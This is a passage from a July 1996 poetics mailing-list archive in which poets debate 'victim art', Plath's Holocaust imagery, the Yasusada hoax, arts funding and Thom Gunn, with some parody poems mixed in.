How many Nazis brought their victims to London to take care of babies in semi-provincial neighborhoods? Hughes might be bad, but he ain't no Mengele.

Also: To say that a suburb is not a concentration camp is not to insult suburbia itself or to condemn suburban life. If "Daddy" is a tribute to suburbia, then I certainly won't be visiting my mother in Lake Oswego.

By the way: An attempt to assess Plath reasonably is not an attempt to dismiss her work. Poets, even lasting ones, are rarely perfect. If praise sounds qualified, judgment reserved, it is because I try to read poets fairly. Thoughtful criticism comes out of respect and not contempt.

All the best,

Rob Hardin

PS: to maria:

> *i think when both plath and sexton use nazi/holocaust imagery to*
> *express their own pain they are telling us how painful in fact life*
> *was for middle class women in the 50s and early 60s.*

That's exactly my point. The parallel is false and overly dramatic. Bosnian survivors have every reason to make such parallels. However, a relatively well-off, academically-ordained white-collar poet of the sixties is simply misrepresenting her condition, even trivializing her own pain, by making such a comparison.

PPS:

> *Not to dis Rob Hardin here, but I think comparisons between pain hardly every are useful. Who can assess the pain of a small child in an abusive situation, wherever they are? gab.*

Not to diss gab, but her analogy illustrates my point.

To compare the experience of a small relatively unabused child in a suburb (Plath) with a small child in a *concentration camp* is extremely useful. If the first child calls her captors Nazis, she is being accurate. If the second refers to her parents as Nazis, she is being hyperbolic.

http://www.interport.net/~scrypt

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592. **Tony Green**
philosophers & poets
Sun 21 Jul 1996

I've been thinking this weekend about Derrida and poets. It does not seem a bad thing for poetry to have to face a philosopher (for which read a "writer") who plays at capturing attention by 1)self-presentation with props = sheaf of papers to read at length 2)seemingly long and seemingly uninterruptable discourse Surely it is open to poets (for which read "writers") to respond by brazen interuption, by demonstrative headshakings and laughter and attempts to take over the platform/ audience situation.

If "poetry" means ONLY a tightly specific kind of writing, with no sense of poet-presentation, it will go down where it perhaps may belong in the present time. The competition from the "philosopher" should perhaps be a wake up call. Not an occasion for calling "foul".

best

Tony Green,
e-mail: [redacted]

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593. **Tony Green**
Re: Bad news
Sun 21 Jul 1996

---

that, George, wd be almost as good as a Larry Rivers Festival with a save-the-wolves organization

Tony Green,
e-mail: [redacted]

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594. Dan Horne
Victim Art
Sun 21 Jul 1996

I've been following the thread on "victim art" with some interest, as I recently found myself in a situation where a nurse asked me to evaluate the poetry of one of her teenage patients who recently died of cancer. She wanted to know if I could recommend any of them to any editors I knew. It was an unenviable situation, since as a lay person I felt unqualified to judge, and secondly, such a task is inherently subjective. I was asked to weigh the very real emotional pain the writer was going through with a set up aesthetic criteria that, rightly or wrongly, I bought to the poems. In the end, I had to say to the nurse that the poems didn't align themselves with the ideologies of the journals I knew. The nurse wasn't to happy about that, and I felt even worse for saying so...

Regards

Dan Horne

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595. Carnography
Pastiche for Charles
Sun 21 Jul 1996

This glyphic cyst,
Now sinuous cutworm etched in lead and lemon,
Would, if it were veined,
So drain the caves within these aphid hives
That the Heretical Manor of Hands would prove
Vermiform steeple, and Adam Kadmon,
A skein of fistic hymnals
Whose dirge-pearl slivers raked my window-skin--
See, it gleams toward doors.

http://www.interport.net/~scrypt

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596. Henry Gould
My Vacation in Minnesota
Sun 21 Jul 1996

MY VACATION IN MINNESOTA

5th Grade
Mrs. Peterson, Home Room

Minnesota was very quiet and cool.

Up north in Minnesota there are a lot of pine trees and not people. There are loons that make weird calls at night across lakes from very far away. My Dad says there are bears but not to be scared they won't bother you if you don't bother their Moms and cubs.

My Mom had a paragraph written by a guy named Thoreau in the cabin. In his writing he said we were given life here on earth so we could live, and that was good enough for him. My Dad likes to make deals. He talked to 3 different guys plus a guy in Tower (where it was 75 below last January) just to buy a motor for his rowboat. Eveleth is where the Hockey Hall of Fame is. There is also the Thunderbird Iron Mine where there is a big hole and you can see a long ways almost to Canada.

My Dad will be 70 in 1997. He was too young for World War Two. He joined the Navy as soon as he could and sailed around Lake Superior. My Mom says "we are all God's children". She has white hair and is a a good camper, she makes pots too with clay. Every morning I took the Grumman down to the end of the bay. There are tamaracks there and no roads all the way to the arctic circle almost. The water was smooth. It was very, very quiet. There was a little bird called a White-Breasted Sparrow that makes a very clear-toned song so high clear sweet, penetrating not piercing, that carries so far through the solemn melancholy pines. Somewhere between Chet Baker and Morse Code. I just drifted there for a long time, the lake water licking the canoe. By Henry Gould

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597. Julia Stein
Re: victim art
Mon 22 Jul 1996

>In message "maria damon" writes:
>> i have difficulty with the concept of "victim art" as a problem. first of
>> all, it's a pejorative term coined by someone who refused to see a dance by a
>> well-known choreographer/dancer who is hiv positive and whose show explicitly
>> addressed this. so? aren't all registers of human experience reasonable
>> material for art? i think she just didn't want to deal with it; or that the
>> critical tools she had acquired thru writing and studying were not equipped
>> to handle the complexities of the situation, but she couldn't admit that, so

>> had to make it the art's problem rather than hers. i think it hard to
>> separate art from context, and am not sure what the point is; the phrase
>> "the work should stand on its own" seems particularly empty to me. what about
>> something like the diary of anne frank, whose fame is very much due to the
>> circumstances under which it was produced? is there a problem with its
>> popularity?
>> md
>>
Since Anne Frank's diary was mejntioned, I'd like to also refer to the Holocaust literature as part of "victim art."

> *In dealing with "victim art" I'd recommend Lawrence Langer's book The Holocaust and the Literary Imagination. Langer analyzes poetry and novels of the literature of atrocity. He looks at works by both Jews and non-Jews, by those who survived the death camps and those who were not imprisoned or interned. A lot of the issues regarding "victim art" are also discussed by Langer.On page 1 Langer asks, 'How should art-how can art--represent the inexpressibly inhuman suffering of the victims, without doing an injustice to the suffering."*

One of the poets Langer analyzes is Paul Celan who spent the war years in a camp in his native Romanian. Throughout his "years of alienation (and, presumably, incarceration) only one thing, Celan reports, remained attainable in the midst of other other casualities of war: language."
Langer quotes Celan on language saying that "It went on lviing and gave birth to no words to describe what had happened; bit it survived these events. Survived and came to light again, 'enriched' by it all."
>>
>>

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598. **Kevin Killian**
Re: pathos, nothing more than bathos
Mon 22 Jul 1996

At 6:51 PM 7/21/96, Carnography wrote:
>Dodie:

Rob,

First of all I worship your website. Believe it or not, I'm tired of spewing out opinions, so this will be brief. But, I think that your emotional responses to the Holocaust are blinding you to the postmodern trope that nobody owns an experience. Plath has just as much right to it as anybody else.

Secondly, you're right--Plath's early work is stilted and weak. But so what?

Thirdly, I disagree with the whole notion that Plath *is* a confessional poet. Just because she took a workshop with Robert Lowell should she be punished for it the rest of her (after)life? Her "I", to me , is a performance and is conscious of itself as a performance--and it shifts from poem to poem, sometimes line to line. To me this is a different agenda than the confessional school's whatever (I won't make any value judgement here). "Ariel" a confessional poem?

Sexton's fairy tale poems (which I haven't read in like a dozen years) also in my foggy memory of them seem an attempt to stretch beyond the tunnel-blindness of confession.

Also, I agree with you about assessing a poet's work by his or her life, it sucks, and I won't ever hint at that again.

Dodie

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599. **Kevin Killian**

Re: Victim Art: the girl w/ cancer

Mon 22 Jul 1996

At 10:26 AM 7/22/96, Charles Alexander wrote:
>[T]here is a place and a value for this
>so-called "victim art," it just may not be the value everyone on this list
>wants to find in art. I originally was somewhat dismayed at this thread, in
>that it seemed to want to posit stereotypes of sufferers who make art out of
>their suffering, and on the other hand of artists who feel like they are
>supposedto suffer in some specifically destructive ways. That seemed to me
>to deny the specific nature of anyone who makes art out of any circumstance,
>also seemed to want to lump all victims together, and I found that rather
>insulting to large numbers of people who are really all different, despite
>some shared social circumstances.

Charles,

Don't you think this broad stab at the Victim Discussion Thread is rather unfair, kind of passive-agressive even? Clearly you have certain comments by certain people in mind here. Your post makes it sound like the thread itself were this self-generating entity. Isn't it insulting to lump together all the discussors of Victim Art? Aren't they too really all different despite shared social circumstances?

I'm not contesting that you're a nice guy, Charles, but, again, I take issue with the notion that white middle class liberals have the right to decide what's insulting to other groups of people. I'm reminded of a scene I saw on the street here in San Francisco. There's this black guy with an artificial leg, who sits on the sidewalk, removes his artificial leg and stands it in front of him, then asks passersby for money. I was standing near him one day, waiting for a bus or something, so I had some time to observe. White folks walking by averted their eyes and looked like they were going to faint with guilt. Then a black woman approached, she pointed to the man's plastic leg, and exclaimed to her friend, "Look at that!" Then they proceeded to laugh heartily, like they hadn't seen anything that funny in ages.

Dodie

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600. Akitoshi Nagahata

"Araki Yasusada"

Mon 22 Jul 1996

The name "Yasusada" is perfectly all right as the first name of a Japanese man--kind of oldish, though. "Araki" is also a common last name. I don't know if the "Yasusada project" is a hoax or not. Is he hailed as a tanka poet? I've never heard of him myself, but there must be thousands of tanka or haiku poets I've never heard of. Could someone post his (pseudo-)bio? I'm going to check a Who's Who. (Our library has none of the magazines referred to. A shame, indeed.)

Akitoshi Nagahata

[redacted]

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601. Kevin Killian

Re: Victim Art: the girl w/ cancer

Mon 22 Jul 1996

At 1:54 PM 7/22/96, henry gould wrote:
>On Mon, 22 Jul 1996 10:52:06 +0100 Dodie said:
>>
>>I'm not contesting that you're a nice guy, Charles, but, again, I take
>>issue with the notion that white middle class liberals have the right to
>>decide what's insulting to other groups of people.
>
>Dodie, doesn't this contradict your previous thread arguing for the postmodern

>notion that "nobody owns an experience"? (A notion I find dubious myself.)
>- Henry Gould (card-carrying flesh muddle clash weirdo)

Why, Henry, maybe you're right.

db

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602. **Kevin Killian**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

At 1:54 PM 7/22/96, henry gould wrote:
>On Mon, 22 Jul 1996 10:52:06 +0100 Dodie said:
>>
>>I'm not contesting that you're a nice guy, Charles, but, again, I take
>>issue with the notion that white middle class liberals have the right to
>>decide what's insulting to other groups of people.
>
>Dodie, doesn't this contradict your previous thread arguing for the postmod-
ern
>notion that "nobody owns an experience"? (A notion I find dubious myself.)
>- Henry Gould (card-carrying flesh muddle clash weirdo)

But, then, Henry, maybe you're wrong. I think there's a difference between using an experience in your work versus claiming to speak for someone else. My words here aren't very clear. Like in my work--if I steal a scene from Carrie, that's different than me claiming to speak *for* Carrie and her victimization. In the first instance I'm making some sort of personal response to one aspect of Carrie's plight. Incorporation (as in eating) as an act of love, you know, back to the oral phase. This is different than my acting like I have the right to speak for telekinetic abused teenagers. What if I took that a step further and tried to make you, Henry, feel guilty for your non-p.c. attitudes towards telekinetic abused teenagers--you wouldn't like that very much, would you Henry?

Dodie

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603. **Robert Drake**
Re: poetry & performance (plays)
Mon 22 Jul 1996

>In my experience (with poetic plays) there are problems working with
>conventionally trained actors. Their training doesn't match the task. They look
>for subtext, psychological underpinnings etc. I've found actors who can go

>with the text, the texture and word play etcetera but they're pretty rare. The
>problem is uncertainty. The actors look for certain responses for the
^^^^^^^

>audience and look in the play for ways to get those responses...

thanx camille, for finding that word for me... i'm reading "certain" as "sure" or "determined", tho i'm not sure that's what you meant... but ive been thinking about similar issues around slam poetry & other attempts to bring poetry to the popculture marketplace... fr all but the most accomplished slammers, the possibilites of uncertainty are sacrificed fr the immediate & certain "effect"--& those lost multiple possibilites are essentially *all* of what i'm drawn to in poetry. ov course, if the poetry & the performers (*and the audience*) are up to it, it's still possible; only that marketplace values push in the other (defined, packaged, known) direction...

lbd

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604. **maria damon**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

---

i have not been in this situation often but when i am i sometimes recommend not a literary mag or journal but one that deals, with, say, cancer, or children w/ diseases, etc, whatever is specific to the art at hand. there's a magazine for almost everything, including one for parents of kids w/ disabilities. the nurse cd write a short piece contextualizing the poems. i once was asked to evaluate an essay on sylvia plath's "daddy" as a poem about incest for an academic feminist journal. i thought the paper made a perfectly plausible reading of the poem, but it was written in a style not suitable to the venue. i suggested the journal of sexual violence. i also, like you, had mixed feelings; maybe that journal wd turn the essay down and say, try a feminist/literary journal. i do think there's a place for everything. aha --i've got it;i have a friend who's editing an anthology of writing of kids w/ disabilities. she may be interested. i'll backchannel you w/ info. bests, md

dan horne writes:
> I've been following the thread on "victim art" with some interest, as I
> recently found myself in a situation where a nurse asked me to evaluate the
> poetry of one of her teenage patients who recently died of cancer. She
> wanted
> to know if I could recommend any of them to any editors I knew. It was an
> unenviable situation, since as a lay person I felt unqualified to judge, and
> secondly, such a task is inherently subjective. I was asked to weigh the

> very
> real emotional pain the writer was going through with a set up aesthetic
> criteria that, rightly or wrongly, I bought to the poems. In the end, I had
> to say to the nurse that the poems didn't align themselves with the
> ideologies
> of the journals I knew. The nurse wasn't to happy about that, and I felt
> even
> worse for saying so...
>
> Regards
>
> Dan Horne

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605. **Kevin Killian**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

At 3:55 PM 7/22/96, henry wrote:

> *Maybe I'm right AND wrong.*

Ditto for me Henry. A truer thing was never said on this list.

Dodie

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606. **Carnography**
Pastiche for Ted
Mon 22 Jul 1996

This limping gland,
now worm and cuticle
of ornamental gasping
wood, if it were,
(add ampersand & channel Robert Duncan if regular meter persists)
so hint at dais, and chili, that drimping nibs
would wash thin oaken harnesses dry of bean=E9d broth
so in me vase, Rent-Boy, lice might steam again

& thou trou be concupiscence-clammed

damn, Shmeeracles,

meet my holster ward: Hughes.

--Jean Cleats,
semi-neglected gimp,
on the Anniversary of
the Birth of Our Master,
one Welt Pittman

http://www.interport.net/~scrypt

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607. **Charles Alexander**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

Thanks, Maria, for the reminder that there is a place and a value for this so-called "victim art," it just may not be the value everyone on this list wants to find in art. I originally was somewhat dismayed at this thread, in that it seemed to want to posit stereotypes of sufferers who make art out of their suffering, and on the other hand of artists who feel like they are supposedto suffer in some specifically destructive ways. That seemed to me to deny the specific nature of anyone who makes art out of any circumstance, also seemed to want to lump all victims together, and I found that rather insulting to large numbers of people who are really all different, despite some shared social circumstances. But now the conversation seems to be broadening in any number of ways, and I've enjoyed the comparisons of Plath & Sexton, & more.

charles

>i have not been in this situation often but when i am i sometimes recommend not
>a literary mag or journal but one that deals, with, say, cancer, or children w/
>diseases, etc, whatever is specific to the art at hand. there's a magazine for
>almost everything, including one for parents of kids w/ disabilities. the nurse
>cd write a short piece contextualizing the poems. i once was asked to evaluate
>an essay on sylvia plath's "daddy" as a poem about incest for an academic
>feminist journal. i thought the paper made a perfectly plausible reading of the
>poem, but it was written in a style not suitable to the venue. i suggested the
>journal of sexual violence. i also, like you, had mixed feelings; maybe that
>journal wd turn the essay down and say, try a feminist/literary journal. i do
>think there's a place for everything.
>aha --i've got it;i have a friend who's editing an anthology of writing of kids
>w/ disabilities. she may be interested. i'll backchannel you w/ info.
>bests, md

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608. **Herb Levy**
Re: Bad news
Mon 22 Jul 1996

Hi Maxine Chernoff,

Sorry I'm late getting back to your response on this topic.

One of the things that I found so depressing about the earlier discussion was that so many of us have recently been on funding juries and were unable to deal with issues of style because of trendy issues that funding agencies fund to be more important. My last experience on a panel in the Seattle area was particularly depressing 'cause it was for the only local source of money with virtually no strings attached (hotel/motel tax funds) but in numerous fields (not just literature, but music, dance, & visual arts too) MANY good people & organizations (working in modes that you describe as "aesthetic difference, complexity, depth, what have you,") just didn't bother to apply. Feh.

But back to the original topic, I think that actual DEPENDENCE on public grants is often a mistake. If an organization (&I'm not just thinking of presses here) can't get by on sales, admissions & donations from other sources, government grants ARE obviously a good source of added funds. But if the government is the primary source of funds, then the organization is probably producing far more work than it's audience can support. While the money may be good for a while, the overall glut of work isn't good in the long run for the audience, the artist, or the organization. & as we have seen over the last 30 years (not just the last five) of government funding for the arts in the US, this money is very fickle.

Especially when dealing with work that has a limited audience, it's better to produce fewer events, books, or whatever, and be able to keep going, than it is to produce more than the market can support and fall apart. In the long run a press or other organization that does fewer works per year which is able to survive, can do more than an organization that is forced to cut back or collapse if a non-audience-related source of support dries up. Organizations, large or small, which are responsive to an audience's needs & desires, even (perhaps, especially) a tiny, idiosyncratic audience like the one for experimental poetry, rather than the needs & desires of public funding sources, MAY be able to survive better without having to resort to "management by crisis."

I'm suggesting only that organizations be more careful in how they select work to present, NOT that they begin to present only stars to try to appeal to a mass audience.

As an aside, the local university book store's sale always has a ton of overstock New Directions books (this year including many things published as late as 1995!) for $3 or less, & you're of course right about Hesse & T Williams.

Bests

Herb

> *Dear Herb, Dodie, etc.,*
>
> *Itis obviously thecase that nowhere in the arts as they are now funded by government grants is aesthetic difference, complexity, depth, what have you, taken as a serious value. Having recently served on several such panels, local and national, I was depressed but not surprised at how grossly evaluations were made ("This magazine has 12 women and 7 men-- the editors must be very progressive!" etc.). When New American Writing still lived in Chicago and used to apply for Illinois grants, people would ask in panel review, "Why do they publish John Ashbery? Is he so important?" (not to mention the rest of our contributors who were far less recognizable.) Anyway, we decided to come out once yearly and to never write grants again.*
>
> *As for presses that survive, they seem to somehow gain institutional credibility-- you mean you're not dead yet? Hey, let's give you a grant. But getting to that point is extremely painful. When we were still applying for grants, we were told to "build a board," etc. No one seemed to care about our publicatiuon itself in the money world.*
>
> *As for New Directions, it was Herman Hesse and Tennessee Williams that finally stabilized them and allowed them to grow.*
>
> *MaXINE cHERNOFF*

Herb Levy

[redacted]

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609. **Herb Levy**

Re: A plea for Ginny (& Alice)

Mon 22 Jul 1996

Kevin's post reminds me of the German (& only) bilingual edition of the complete "Radio Happenings," a transcription of conversations between John Cage & Morton Feldman, that was mentioned on poetics a few months ago. The transcriptions seem very good and for many individuals named in the talks brief identifying footnotes are provided, along the lines of "Jasper Johns, American painter" follwed by birth & death years. These are mostly useful, except when

someone mentions the writer Alice James, who in the course of the discussion, is identified as something like "the sister of the James brothers."

The footnote for the James brothers gives the dates and occupations for Frank and Jesse James.

Herb Levy
[redacted]

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610. **T-Bone Prone**
Re: philosophers & poets
Mon 22 Jul 1996

On Mon, 22 Jul 1996, Tony Green wrote:

> I've been thinking this weekend about Derrida and poets. It does not
> seem a bad thing for poetry to have to face a philosopher (for which
> read a "writer") who plays at capturing attention by
> 1)self-presentation with props = sheaf of papers to read at length
> 2)seemingly long and seemingly uninterruptable discourse
> Surely it is open to poets (for which read "writers") to respond by
> brazen interuption, by demonstrative headshakings and laughter and
> attempts to take over the platform/ audience situation.
You are complaining about reading, not "writing" or "writers". I think if you do not have the ears for the performance, in any setting, you ought to keep that information to yourself, letting others listen.

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611. **Mark Wallace**
avant garde as production network
Mon 22 Jul 1996

Dear Rob Hardin:

Yes, I suppose I too would settle for a "society responsive to the conscience of the artist." Only seeing as how it would be the first time in history such a thing has been the case--since in Europe at least the history much more commonly, though by no means exclusively, is that of "artists speaking the conscience (AS IF) of their rulers"--it doesn't seem to me very likely. I don't get the impression that anyone can be trusted with anyone else's conscience more than a little perhaps here and there, and this unfortunately holds true for artists as well. It's hard to avoid feeling that no one's got the right to govern, or can be trusted to do it. This was of course THEORETICALLY the idea behind the formation of the U.S. government--various branches balancing each other because no

one can be trusted to govern. Too bad everyone wasn't really allowed a piece of the action...

What we need, I guess, is a system that really balances everyone's LACK of a right to govern the conscience of others.

Only that doesn't seem very likely either, does it?

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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612. **william marsh**
Re: Jorie Graham
Mon 22 Jul 1996

>What does anyone else think?
>
>Tristan
>
Back in grad school I was studying with Jorie's good friend Jane Miller who one day announced in class that Jorie Graham was touting her then most recent book _The End of Beauty_ as the "first post-modern book of poetry." I don't know if that's true or not, but after reading the book I decided it did have the slippery sheen of the carefully disjunctive, an "imported" radical flair (don't know how else to put it), so maybe the quote was allegorical.

Bill Marsh

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613. **henry gould**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

On Mon, 22 Jul 1996 10:52:06 +0100 Dodie said:
>
>I'm not contesting that you're a nice guy, Charles, but, again, I take

>issue with the notion that white middle class liberals have the right to
>decide what's insulting to other groups of people.

Dodie, doesn't this contradict your previous thread arguing for the postmodern notion that "nobody owns an experience"? (A notion I find dubious myself.) - Henry Gould (card-carrying flesh muddle clash weirdo)

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614. Judy Roitman
Re: Jorie Graham
Mon 22 Jul 1996

> *Jorie Graham was touting her then most*
> *recent book _The End of Beauty_ as the "first post-modern book of poetry."*

You've got to be kidding.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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615. David Baratier
Yasusada
Mon 22 Jul 1996

Ron,

On Thursday I was talking with Ethel Rackin, the managing editor at APR, and after hearing the reasoning behind the yasusada publication I have to state that the historical context was a part of the process. By this I do not mean to say that the "orientalism" dynamic that you mention was the context that established the work as worthy of print but rather a poetry that pre-dated French existentialism, Laccn, etcetera, with similar ideas. While I know from your essays that you have a definte interest in exposing the multi-cultural marketing of consience, if one believes the year of the work the historical context in and of itself establishes merit. The impression I received from Ethel, in so far as publication, was one of discovery, where yasusada was admired as a precursor, not published as a exploitation of a social narrative of guilt. I can say that the elaborate deception set up by Kent Johnson in Illinois was not merely a simplified "5 pieces in a SASE" like many would like to believe. There were contacts set-up in Japan, Illinois, at least one other state, & another country (I forget!) three translators (plus yasusada), who

each had pages of biographical material, a sketch of yasusada, supplied by Johnson and many other intricacies involving permissions from yasusada's estate. Why stop publishing yasusada? Besides the ethical concerns of the sham, it reifies Greenblatt's New Historicism, through the decontextualization of time through subsequent historical revision of the work in relation to refashioned time zones. The two-flex mirror of the critic as a reflecting and deflecting construct of the moment they are writing within and the one they are writing about has it's continuity flawed-- actually, this shift is interesting-- I'm going to think about this a bit longer before I ram foot in mouth-- any ideas on the consequence appreciated-- As for whether APR would publish Spicer if he was alive, while it's speculative to make any assessment, I can mention that Bernstein, Seidman, Stroffolino and many others have recently graced its pages. Be well.

David Baratier

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616. **Gabrielle Welford**

Re: pathos, nothing more than bathos

Mon 22 Jul 1996

But you see, you just did what I said you can't do, assess one child's pain in comparison with another's. I like what Dodie says about nobody owning experience. gab.

On Sun, 21 Jul 1996, Carnography wrote:

> *Not to dis Rob Hardin here, but I think comparisons between pain hardly every are useful. Who can assess the pain of a small child in an abusive situation, wherever they are? gab.*
>
> *Not to diss gab, but her analogy illustrates my point.*
>
> *To compare the experience of a small relatively unabused child in a suburb (Plath) with a small child in a *concentration camp* is extremely useful. If the first child calls her captors Nazis, she is being accurate. If the second refers to her parents as Nazis, she is being hyperbolic.*
>
> *http://www.interport.net/~scrypt*

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617. **Tony Green**
Re: feelength, nothing more than feelength... try to forget
Mon 22 Jul 1996

Someone ought to check up on the context of Sylvia Plath's writing: especially the available options around Cambridge University in the mid 1950's, available especially in Delta and in other mags of the time, excavate the likes of Dickie Drain and co, that'd be amusing. As far as I can recall there were not many ways to go: Thom Gunn socialist verse was one; tomb and womb and doom another, which is probably where S.P. comes in; Ted Hughes at that time was after Lawrencian sounding allegories, in between fist fights with people on Saturday nights, so they used to say; I had friends who took Dylan Thomas seriously, as much as anything because the available modes were curiously unaware of how much they were largely overflows from sentimental prose. vaguely remember what S.P. looked like, seeing her in lecture-classes, but don't recall that I ever met her. But, I do know that that was a particular literary context with its ambitions set, as much as anything by available publication possibilities in London, e.g.John Lehmann's London Magazine. best

Tony Green,
e-mail: [redacted]

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618. **henry**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

On Mon, 22 Jul 1996 12:46:24 +0100 Dodie said:
>
>But, then, Henry, maybe you're wrong. I think there's a difference between
>using an experience in your work versus claiming to speak for someone else.
>My words here aren't very clear. Like in my work--if I steal a scene from
>Carrie, that's different than me claiming to speak *for* Carrie and her
>victimization. In the first instance I'm making some sort of personal

Maybe I'm right AND wrong. That would be in line with the nebulous distinction you're pointing out. Is speaking FOR someone always an imposition? Sometimes an advocate is a lifesaving necessity. Both "scene-stealing" and advocacy are based on empathy (not a very p.c. trait these days).

> *response to one aspect of Carrie's plight. Incorporation (as in eating) as*
> *an act of love, you know, back to the oral phase. This is different than*
> *my acting like I have the right to speak for telekinetic abused teenagers.*
> *What if I took that a step further and tried to make you, Henry, feel*

> *guilty for your non-p.c. attitudes towards telekinetic abused teenagers--you wouldn't like that very much, would you Henry?*

You seem to be stealing a scene I never played in the first place... - Henry

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619. **Tony Green**
Re: roughness
Mon 22 Jul 1996

/For mastery!(gendered term) read, when appropriate,
 mistressly! as in M.A.= Mistress
of Arts. I'm surprised this has not yet been done.

Tony Green,
e-mail: [redacted]

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620. **Charles Alexander**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

> *Charles,*
>
> *Don't you think this broad stab at the Victim Discussion Thread is rather unfair, kind of passive-agressive even? Clearly you have certain comments by certain people in mind here. Your post makes it sound like the thread itself were this self-generating entity. Isn't it insulting to lump together all the discussors of Victim Art? Aren't they too really all different despite shared social circumstances?*

Yes you're right, Dodie. I did have one particular comment in mind, but I decided not to post when it came up (& now I'm not sure I remember who posted it), probably for better reason than my less hesitant post you are responding to. And I certainly could have seconded Maria's comments without knocking anybody else. Guilty.

charles

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621. **Jonathan A Levin**
Re: feelingth, nothing more than feelingth... try to forget
Mon 22 Jul 1996

---

on Plath, Gunn, Cambridge, the 50s--a question, a footnote, and a response:

I wonder what you mean, Tony Green, by Gunn's "socialist verse" of (I guess) the 50s? Having just written 16,000 words on him, I'm not sure what you have in mind, but would like to know. Most of that early stuff is just about bikers and and other assorted types doing the existential errand thing, so far as I can tell. In any event, there's an excellent description by Donald Hall (in a 1989 issue of PN Review) of what Gunn's first appearances in Oxford were like, the "general flabbbergast" of his reading--"Oxford recoiled before stanzas militant, intransigent, tough, brainy, swashbuckling and violent." Gunn has an infamous nazi reference in a poem called The Beaters that appeared in The Sense of Movement (the 1957 book, Gunn's second, written during his first year in California, 1955/56) and that he removed from later editions and from the 1994 Collected Poems. Gunn is playing around in the poem with s/m, the "tools of perversity," etc., and has a "swastika-draped bed" in the second stanza. What's a little disturbing is that the beaters, here, really aren't very far from the usual bikers and soldiers of Gunn's first two books: "They know they shall resume pursuit, elsewhere, / Of what they would not hold to if they could." I guess Gunn was himself a little embarassed to look back on this.

A last thought, while I'm entering the thread: perhaps I'm just unwilling to be postmodern, but I don't see how one can live with the possibility that an experience is equally available to all. That's not a metaphor I could live by. I, for example, constantly find myself uable to "appropriate" certain "female experiences," for example: I play in a softball game with men and women, and am a moderately good player, so often "command respect" of others in the game. I don't, for example, usually get "poached"; I get a good batting spot; etc. Once, when a particulary self-confident third baseman poached a couple of balls from me at short, at one point nearly killing me (and screwing up a force out I would have easily had at third), a friend pointed out that now I "knew" what it was like to be a woman in the game. She's of course right--I had a taste of it--but in another sense, I'll never really know what it's like to be a woman in this game, because too many default assumptions are "always already" working in my favor. Alas. That's a trivial example, in the long run, but I think it gets the dynamic right: some experiences, despite their public dimension, will never belong to anyone but those who experience them, and it's misleading, I think, to think otherwise. Nasty deeds will unfortunately always be appropriated in ways that diminish, obfuscate, or erase their nastiness, and the best we can do is to insist on the historical specificity of those deeds and their consequences. We respond to the particular face of suffering (to echo Levinas, loosely)--we're not responding to anything in ourselves.

Best--

Jonathan Levin

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622. Tony Green
Re: feelingth, nothing more than feelingth... try to forget
Mon 22 Jul 1996

Jonathan A Levin. Loose talk about Gunn. He'd gone by the time I arrived, but he had friends and supporters who I encountered and the impetus was to bring real working class images and values into the foreground, to oppose middle-class literary values. It obvioudsly did that in the figure invoked and in the versification. This -- at second hand --I took to be a rather programmatic social realism in verse. It, about that time, seemed to coincide with the "social realism" of several British painters, Jack Smith, Middleditch, who else? early John Bratby. It also resonates for me with Lucky Jim. However, you are clearly really close to the texts of then poems as I am not. The question was definitely being asked about the relations between class structures and expectations and universities and literature. And of course, in retrospect, it raises questions about the viability of varieties of poetics for social change. I would like to think it raised that question way back then too.

Does anyone close to the texts, as I am not, recognise
this kind of questioning in Sylvia Plath?

latera , i uppose

Tony Green,
e-mail: [redacted]

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623. Douglis Beck
Yasusada on the move...
Mon 22 Jul 1996

sorry that I've missed the whole of the _Yasusada_ controversy, but it seems there's some interesting things said in saturdays digest from Ron & Rod, who definitely act as a 1-2 punch on the subject. I would only add that such an issue would not be an issue if _Yasusada_ were merely a pseudonym, or other sort of mask. perhaps _Yasusada_ is accomplishing things for a particular poet or group of poets that they feel they themselves cannot express because of their own personal baggage; perhaps a poet has as a bio exactly that of yasusada but has not fully dealt with that in their publishing to date. thus it becomes an experimental preface/footnote to a certain poet's work. there are numerous examples we can all sit around & dream up. the point does indeed seem to be that, perhaps more than other _Hiroshima_ poets, the Yasusada controversy is generating a discussion. for now the talking is centered on how we should be

concerned with the poet him/her/itself. hopefully everyone will realize that this too is a mask of sorts, & eventually deal with both our own reactions to the work itself & feelings about the atrocities sitting beneath both text&bio. if all this talk is merely fodder for email, then who cares, but if years from now people remember the _Yasusada_ controversy & more importantly, remember whether, why & where they were @ the time, then it seems the poet/poetry involved has indeed fulfilled (one of) the purpose of poetry: to affect ourSelves in some way, to alter our aspect of seeing things, to shew a difference. read now, deconstruct later. perhaps this will be sufficient.

douglis.

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624. **Tony Green**
Re: roughness
Mon 22 Jul 1996

Thanks, Emily, for the Spinster of Arts note. It's interesting that someone has thought to do something about this. The majority of my students are women and it has seemed strange to persist with mastery and masters degrees. Is mastery or mistressery of texts and or of images as dubious from the point of view of sado-masochism as mastery and mistressery in relations between persons? best

Tony Green,
e-mail: [redacted]

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625. **maria damon**
Re: Victim Art: the girl w/ cancer
Mon 22 Jul 1996

---

gosh, this is so smart, i wish i'd thought to say it. --md

> *At 3:55 PM 7/22/96, henry wrote:*
>
> *Maybe I'm right AND wrong.*
>
> *Ditto for me Henry. A truer thing was never said on this list.*
>
> *Dodie*

↑ Index

626. **Tony Green**
Re: feelength, nothing more than feelength... try to forget
Mon 22 Jul 1996

Jonathan Levin, a line got left out shd have been something about "early John Bratby" and then went on to say "you are clearly closer to the texts than I am". Technical incompetence on my part, I bet. And by the way good luck with the softball, I really can say nothing whatever abt that, even tho New Zealand has just won the world Championship. best

Tony Green,
e-mail: [redacted]

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627. **Emily Lloyd**
Re: roughness
Mon 22 Jul 1996

Don't know about mistresses of arts, Tony, but I know it's possible to get a Spinster of Arts degree (as opposed to a Bachelor) at New College USF...personally, not a fan of mistress *or* master, unless in Sade...emily

Tony Green wrote:
>
